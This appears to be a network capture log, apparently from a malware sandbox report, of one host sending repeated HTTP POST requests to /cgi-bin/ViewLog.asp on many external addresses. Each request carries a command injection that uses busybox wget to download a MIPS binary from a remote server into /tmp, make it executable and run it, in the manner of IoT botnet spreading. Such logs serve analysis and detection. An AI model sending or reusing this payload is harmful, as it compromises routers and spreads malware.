Nov 23, 2023 05:16:53.776462078 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.13	38876	85.143.175.131	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:53.888650894 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:54.103985071 CET	681	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:16:53 GMT Keep-Alive: timeout=60 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.13	38460	31.136.139.143	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:56.308511972 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:56.902466059 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:58.054419994 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:00.454375982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:05.062514067 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:14.278373003 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:33.222284079 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.086236954 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.13	55596	85.122.224.70	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:56.352737904 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.13	55600	94.121.145.33	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:56.352799892 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.13	42766	31.136.212.182	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:56.491364956 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:57.062429905 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:58.182375908 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:00.454376936 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:05.062526941 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:14.022341013 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:33.222318888 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.086205959 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.13	55162	94.110.32.13	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:56.746814966 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.13	55132	94.122.107.144	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:56.805783987 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.13	48042	95.86.85.164	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:56.909369946 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.13	42958	31.136.89.54	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:00.371174097 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:00.966401100 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
